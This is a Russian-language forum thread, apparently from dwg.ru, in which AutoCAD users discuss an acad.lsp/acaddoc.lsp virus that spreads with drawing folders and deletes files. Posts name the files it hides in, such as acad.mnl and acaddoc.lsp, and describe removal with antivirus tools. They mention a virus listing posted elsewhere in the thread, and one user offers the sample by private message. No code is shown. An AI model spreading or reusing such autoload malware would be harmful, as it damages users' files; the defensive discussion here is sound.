Нерешаемых проблем не бывает. |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,406
|
Надо будет Linux запустить и под ним выполнить чтение архива
![]()
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Вода - моя работа Регистрация: 10.11.2009
Санкт-Петербург
Сообщений: 3,638
|
Два вопроса:
1. Достаточно ли удалить acad.lsp, acadiso.lsp чтобы дрянь больше не появлялась? 2. Почему GetDataBack и Recuva не нашли следов удалённых файлов?
__________________
Нерешаемых проблем не бывает. |
|||
![]() |
|
||||
Регистрация: 23.11.2010
Сообщений: 33
|
Цитата:
На второй вопрос не знаю ответа. Но могу сказать одно. Те у кого НОРМАЛЬНЫЙ АНТИВИРУС такой проблемой не страдают. А дело в том, что когда вы приносите зараженный этой фигней файл dwg на флешке. Антивир просто не дает ему запуститься и выполнить свой зловредный код. Так что всем совет устанавливайте антивирус. |
|||
![]() |
|
||||
Вода - моя работа Регистрация: 10.11.2009
Санкт-Петербург
Сообщений: 3,638
|
Отписываюсь, при удалении acad.lsp и acadiso.lsp из C:\Documents and Settings\....\Application Data\Autodesk\....\Support и удаления всех acad.lsp из папок с файлами, новые acad.lsp перестают создаваться и файлы прекращают исчезать, меня смутило это:
Цитата:
Про антивирусы в конторе не я решаю, но попробую послать ребятам из McAfee этот вирус, может обновят базы. Оригинал от греха удалил, думаю кода достаточно, если кому нужен для опытов - пишите в личку.
__________________
Нерешаемых проблем не бывает. |
|||
![]() |
|
||||
Регистрация: 03.05.2009
Сообщений: 112
|
Цитата:
Переменная mnlpath действительно непонятная, так как она после создания не используется. Наверное вирусописака схалтурил. gomer в сообщении #86 привел убийственную версию вируса, ни в коем случае не запускайте её ![]() Последний раз редактировалось Li6-D, 07.03.2011 в 18:15. Причина: предупреждение |
|||
![]() |
|
||||
строю, ломаю Регистрация: 03.04.2008
Украина
Сообщений: 5,515
|
Похоже, но тот не удалял ничего вроде... а этот... в общем нужно почистить s:startup удалить все acad*.lsp кроме оригинальных, а те почистить... лиспы не являются классическими вирусами, и не опасны, пока не запущен акад...
|
|||
![]() |
|
||||
Вода - моя работа Регистрация: 10.11.2009
Санкт-Петербург
Сообщений: 3,638
|
Думаю будет правильно извиниться за наведение тени на McAfee, получив образец вируса мне ответили что знают такой и лечат, а судя по этой ссылке, он у них в базе как минимум с 8 февраля, админы наши начудили с обновлениями, кстати, вирус полностью убит во всей сети.
![]()
__________________
Нерешаемых проблем не бывает. |
|||
![]() |
|
||||
Регистрация: 12.04.2009
Сообщений: 93
|
Я в этой теме на 5 страницу не могу войти, антивирус аваст выдаёт:
Скажите, пожалуйста (в данном случае в личку) на что конкретно реагирует он. (и возможно это сообщения НЕ отправится) |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Я думаю на опубликованный листинг в #86
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Регистрация: 19.05.2011
Сообщений: 2
|
Похоже что вирус acaddoc.lsp совершенствуется. Я всё почистил, удалил, и даже создал файл acad.fas, НО при первом же открытии файла dwg в директории появляется acaddoc.lsp. Саму проблему ни AVIRA, ни CureIt не устранили. Похоже, что и дальше придется работать через Esc.
|
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Заархивируй acaddoc.lsp + добавь файл acad.mnl и выложи сюда
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Регистрация: 19.05.2011
Сообщений: 2
|
Поздно, нечего архивировать. Сегодня победил его Live CD от Dr.Web. Но только когда конкретно натравил на папку Documents and Settings\*\*\*\Support, вирус сидел в трех файлах (acad.mnl; acetmain.mnl; AecArchXOE.mnl).
p.s. А до этого почистил acaddoc.lsp, дал ему свойства только чтение, но пришлось пихать его в каждую директорию с dwg-файлами. |
|||
![]() |
|
||||
При необходимости можно управлять включением\отключением автоматической загрузки файлов acad*.lsp и acad*.fas. Причём выполнять это можно не только в AutoCAD 2013 SP1.1, но и в более ранних версиях. Решение очень простое, выложено здесь.
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome: |
||||
![]() |
|
||||
Цитата:
По завершению работ, в блоге дам ссылку на скачивание результата. На сегодняшний день у меня установлены только AutoCAD 2009 и AutoCAD 2013. Нужно будет создавать виртуальную машинку и ставить на неё все остальные версии, чтобы можно было скомпилировать библиотеку для прочих версий AutoCAD и добавить результаты в обозначенный выше шаблон плагинов.
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome: |
||||
![]() |
|
||||
у-Строитель Регистрация: 15.09.2007
град Воронеж
Сообщений: 4,762
|
Это вирус. У нас в конторе гулял. НОДом зачистили. Хотя можно действовать на отдельном компе проще. В Тоталкоммандере на каждом диске нажать комбинацию CTRL+B. Раскроется все дерево диска, найти все файлы и безвозвратно удалить. Я так дома сделал и антивирус не потребовался.
__________________
С уважением, yarrus77 |
|||
![]() |
|
||||
Не путай дом и сетку. В сети нужно удалять сразу и везде. Не удалишь хотя бы на одной машине - сразу расползётся по сети при первом же запуске AutoCAD. Кроме того, как показывает практика, обязательно найдётся обезьянка, которая на работе в очередной раз откроет чертёж с флэшки, не посмотрев, что там лежит кроме чертежей, и всё по новой: "у попа была собака..."
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome: |
||||
![]() |
|
||||
у-Строитель Регистрация: 15.09.2007
град Воронеж
Сообщений: 4,762
|
так я и не путаю
__________________
С уважением, yarrus77 |
|||
![]() |
|
||||
Цитата:
![]()
__________________
С уважением sbi |
||||
![]() |
|
||||
C Днём Защитника Отечества (одно слово, а разница существенная). Спасибо, взаимно - всех тех, кто причастен к указанному празднику.
![]()
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome: |
||||
![]() |
|
||||
hwd Тут мученики получились, подключайся. http://forum.dwg.ru/showthread.php?t=95791
Защищай Отечества Дл тут собрались желающих столько http://forum.dwg.ru/showthread.php?t...0%E4%E0&page=4 пора лаборатория....
__________________
С уважением sbi Последний раз редактировалось sbi, 10.03.2013 в 09:06. |
||||
![]() |
|
||||
Регистрация: 28.02.2013
Санкт-Петербург
Сообщений: 25
|
Я так и не поняла, вирус встроен в сам dwg-файл или как? В моей ситуации на яндекс-диске есть архив с чертежами, там же и файлы acad.lsp присутствуют в каждой папке. Если я скачаю не все целиком, а только dwg-файлы, то это будет чревато или нет? С этим вирусом сталкивалась, больше не хочу заморачиваться лечением.
|
|||
![]() |
|
||||
строю, ломаю Регистрация: 03.04.2008
Украина
Сообщений: 5,515
|
будет, если распакуете архив и откроете любой чертеж. Чтоб этого не произошло, нужно поштучно скопировать чертежи в другую папку, а потом уже открывать. это связано с тем, что при загрузке чертежа, в него автоматически загружается acad.lsp, а дальше происходит известный вам геморрой
|
|||
![]() |
|
||||
Цитата:
|
||||
![]() |
|
||||
Регистрация: 28.02.2013
Санкт-Петербург
Сообщений: 25
|
В архиве несколько папок, в каждой необходимый dwg-файл и иже с ними lsp и прочая. Если не скачивать скопом весь архив, открыть его для просмотра, на яндекс-диске есть такая возможность, и уже дальше выдергивать исключительно dwg-файлы - вот в чем мой вопрос был.
|
|||
![]() |
|
||||
строю, ломаю Регистрация: 03.04.2008
Украина
Сообщений: 5,515
|
Файлы acad.lsp нужны для загрузки функций, который прописаны в реакторах, сохраненных в чертежах. Эта технология в основном уже устарела, так как появились параметрические зависимости. В принципе, я бы сделал так: скачал архив, разархивировал его, просканил содержимое с помощью Everything, если acad.lsp,fas,vlx содержат вредоносный код, удалил их и спокойно открывал бы чертежи. При этом структура файлов не изменилась бы.
|
|||
![]() |
|
||||
Да нет, это вы невнимательно читаете... Вы уж определитесь: вам шашечки или ехать? gomer ответил вам: удалите лиспы прежде чем открывать чертежи. Как вы это будете делать - это уж на ваш вкус.
|
||||
![]() |
|
||||
строю, ломаю Регистрация: 03.04.2008
Украина
Сообщений: 5,515
|
У женщин понятие несколько весьма растяжимое, поэтому я предложил 2 способа: либо выщипывать, либо подстригать... Следует, учитывать что вирусы могут находиться в скрытых файлах, которые не видны невооруженному глазу, поэтому нужно быть весьма осторожным в этом деле
|
|||
![]() |
|
||||
Регистрация: 28.02.2013
Санкт-Петербург
Сообщений: 25
|
Хорошо, не ругайтесь, я не сильна в программировании и всех прочих технических тонкостях.
Я попробовала скачать на другой комп только 1 файл dwg. Открыла его, пошуршала, закрыла. Вроде рядом лиспов не образовалось. Но коли уж вы настаиваете на подобных манипуляциях, спорить не буду, ок. |
|||
![]() |
![]() |
|
|
![]() |
||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Пароизоляция утеплителя: нужна или нет. | Romka | Прочее. Архитектура и строительство | 183 | 18.08.2016 23:36 |
Advance Steel. Изучать или нет. | Saha | Advance Steel | 4 | 19.09.2008 06:08 |
Нужен МКЭ расчет или нет? | SRG_ORL | Расчетные программы | 36 | 22.12.2006 00:39 |
Можно ли делать в проекте свободную планировку кв-р или нет? | tyoma | Разное | 4 | 09.12.2006 08:05 |